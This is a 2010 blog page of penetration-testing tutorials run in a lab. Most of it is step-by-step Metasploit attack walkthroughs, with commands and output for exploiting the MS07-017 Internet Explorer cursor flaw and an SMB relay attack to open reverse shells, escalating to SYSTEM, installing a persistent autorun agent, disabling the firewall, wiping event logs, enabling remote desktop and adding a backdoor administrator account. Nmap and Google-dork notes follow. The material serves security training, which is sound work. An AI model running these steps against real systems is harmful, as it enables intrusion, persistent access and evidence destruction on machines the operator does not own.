Tuesday, September 28, 2010

Tutorial: Exploiting IE with Windows Animated Cursor Vulnerability (MS07-017)

Local Host: 192.168.1.252/24 (TEST-BT4)
Target Host: 192.168.1.50/24 (LON-CL1)

Step 1: Create a resource file in /sources directory

root@bt:~# nano /sources/ie_ani

Enter the following as the contents of ie_ani file.

use windows/browser/ms07_017_ani_loadimage_chunksize
set PAYLOAD windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.252
set SRVPORT 80
set LHOST 192.168.1.252
set LPORT 443
set URIPATH /you_win
exploit

Press Ctrl-X and Y, then press Enter to save the file.

Step 2: Launch Metasploit from its working directory

root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole -r /sources/ie_ani

resource (/sources/ie_ani)> use windows/browser/ms07_017_ani_loadimage_chunksize
resource (/sources/ie_ani)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/sources/ie_ani)> set SRVHOST 192.168.1.252
SRVHOST => 192.168.1.252
resource (/sources/ie_ani)> set SRVPORT 80
SRVPORT => 80
resource (/sources/ie_ani)> set LHOST 192.168.1.252
LHOST => 192.168.1.252
resource (/sources/ie_ani)> set LPORT 443
LPORT => 443
resource (/sources/ie_ani)> set URIPATH /you_win
URIPATH => /you_win
resource (/sources/ie_ani)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.252:443
[*] Using URL: http://192.168.1.252:80/you_win
[*] Server started.

Step 3: Launch Internet Explorer (IE) on your target machine

Type the following in the URL:

http://192.168.1.252/you_win

Switch to your machine. Check if you've got the connection from your target.
Once connected, you can continue interact with Meterpreter

msf exploit(ms07_017_ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize

[*] Sending HTML page to 192.168.1.50:1162...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.1.50:1162...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1163) at Wed Sep 29 12:08:22 +0800 2010

Press Enter to check the opened sessions.

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter LON-CL1\testuser @ LON-CL1 192.168.1.252:443 -> 192.168.1.50:1163

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: LON-CL1
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0

Check our privilege level
meterpreter > getuid
Server username: LON-CL1\testuser

meterpreter > getprivs

============================================================
Enabled Process Privileges
============================================================
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege

meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[-] core_channel_open: Operation failed: 5

Escalate our privilege
meterpreter > run kitrap0d
[*] Currently running as LON-CL1\testuser

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\LnZbxqeuZgMB.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1316)...

--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---


[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x285ee bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 180
[?] OpenProcess(180) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM

meterpreter > getprivs

============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege

meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[*] uploaded : /tmp/hacked.txt -> C:\WINDOWS\System32\hacked.txt

Maintain access by uploading Meterpreter agent
meterpreter > run persistence -h

OPTIONS:

-A Automatically start a matching multi/handler to connect to the agent
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back


[-] Error in script: LocalJumpError unexpected return

meterpreter > run persistence -A -X -p 443 -r 192.168.1.252
[*] Creating a persistent agent: LHOST=192.168.1.252 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613927 bytes long
[*] Uploaded the persistent agent to C:\DOCUME~1\testuser\LOCALS~1\Temp\NooAHDFfrAL.vbs
[*] Agent executed with PID 1732
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/LON-CL1_20100929.2413/clean_up__20100929.2413.rc

Exit from the target system.

meterpreter > exit

Step 4: Create a listener on our machine

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.252
LHOST => 192.168.1.252
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.252:443
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1176) at Wed Sep 29 12:30:27 +0800 2010

Clearing tracks (housekeeping)
meterpreter > run disable_audit

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > run getcountermeasure -h

Getcountermeasure -- List (or optionally, kill) HIPS and AV
processes, show XP firewall rules, and display DEP and UAC
policies

OPTIONS:

-d Disable built in Firewall
-h Help menu.
-k Kill any AV, HIPS and Third Party Firewall process found.

meterpreter > run getcountermeasure -d
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration (current):
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Internal firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] External firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] Disabling Built in Firewall.....
[*] Checking DEP Support Policy...

meterpreter > clearev

[*] Wiping 942 records from Application...
[*] Wiping 1984 records from System...
[*] Wiping 1 records from Security...

Enabling and Accessing Remote Desktop
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20100929.3437.rc

meterpreter > shell

Process 820 created.
Channel 18 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\testuser\Desktop>net user hacker P@ssw0rd /add
net user hacker P@ssw0rd /add
The command completed successfully.

C:\Documents and Settings\testuser\Desktop>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.


C:\Documents and Settings\testuser\Desktop>^C
Terminate channel 18? [y/N] y

meterpreter > ipconfig


MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0

meterpreter >

Remote Desktop Connection

Open a new shell console, and run Remote Desktop client to connect to the target machine.

root@bt:~# rdesktop 192.168.1.50
WARNING: Remote desktop does not support colour depth 24; falling back to 16

Tutorial: NTLM Authentication Hijack with SMB Relay

Local Host: 192.168.1.252 (BackTrack 4 with Metasploit 3.x)
Target Host: 192.168.1.50 (Windows XP SP2 English)

Step 1: Prepare the SMB Exploit on Local Host

cd /pentest/exploits/msf3
./msfconsole

msf > use windows/smb/smb_relay

msf > set PAYLOAD windows/shell/reverse_tcp
msf > set SRVHOST 192.168.1.252
msf > set LHOST 192.168.1.252
msf > set LPORT 443
msf > exploit

Step 2: Connect to the FAKE shared folder from the remote machine

\\192.168.1.252\shared\xxx.jpg

shared\xxx.jpg is a fake link

Step 3: Interact with the open session

Wait until you've got the connection from our target machine.
Once connected, wait for a few minutes, then press Enter.

Check the active sessions
msf > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.1.252:443 -> 192.168.1.50:1118

Interact with active session# 1
msf > sessions -i 1

[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Monday, September 27, 2010

Tutorial: Metasploit Basic Usage

Change directory to /pentest/exploits/framework3

cd /pentest/exploits/framework3

Launch MSF Console (Command Line Interface)

./msfconsole

Interact with MSF Console

Display help
msf > help

Search for a specific pattern
msf > search iis

Display information about the exploit module
msf > info windows/iis/ms01_023_printer

Select and use the exploit module
msf > use windows/iis/ms01_023_printer

Display all available payloads
msf > show payloads

Select and use a specific payload
msf > set PAYLOAD windows/shell/bind_tcp

Set the Remote Host (RHOST)
msf > set RHOST 131.107.1.101

Set the Listening port (LPORT)
msf > set LPORT 8888

Launch the exploit module
msf > exploit

[*] Started bind handler
[*] Sending stage (240 bytes) to 131.107.1.101
[*] Command shell session 1 opened (131.107.1.252:57346 -> 131.107.1.101:8888) at Tue Sep 28 12:17:55 +0800 2010

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

Test privilege level by writing a file
C:\WINNT\system32>echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt
echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt

Create a user account and add it as a member of Local Administrators group
C:\WINNT\system32>net user hacker password123 /add
net user hacker password123 /add
The command completed successfully.

C:\WINNT\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.

CEH - Port Scans Exercise

Tester : TEST-BT4 (RAM = 512MB)
Targets: DEN-WEB1 (RAM = 128MB), DEN-WEB2 (RAM = 128MB), DEN-WEB3 (RAM = 128MB), DEN-SVR1 (RAM = 256MB)

Step 1:
Start all virtual machines.

Step 2:
Logon to TEST-BT4. Login with username: root and Password: toor

Step 3:
Check your virtual machine settings.
All network interfaces should be configured with Host-only.

Configure network interface cards, type these commands:

ifconfig eth0 up
ifconfig eth0 131.107.1.252/24
ifconfig eth1 up
ifconfig eth1 192.168.1.252/24
ifconfig
startx

Step 4: Open a bash console and start scanning with Nmap. Scans all active hosts.

Host Discovery
nmap -sP 131.107.1.0/24 192.168.1.0/24

Port Scans
nmap 131.107.1.0/24
nmap 131.107.1.101

nmap -sS -sV -O 131.107.1.101
nmap -A 131.107.1.101
nmap -sU -sV 131.107.1.101
nmap -sS -p80,443 131.107.1.101

Using Google as Currency Calculator

Did you know that you can use Google as Currency Calculator???
Visit http://www.google.com

Type: 1 USD to IDR (in the Seach field).
Result:1 U.S. dollar = 8 928.57143 Indonesian rupiahs

Google Hacking Database (GHDB)

Want to find some interesting stuff ???

Check this out. http://www.hackersforcharity.org/ghdb/

Google Hacking & Web Applications Vulnerabilities

Check http://www.exploit-db.com then browse to Web Applications.

You can find some information on how to find the web applications vulnerabilities by using Google Dork.

Example:

http://www.exploit-db.com/exploits/15100/
Dork: inurl:"option=com_elite_experts"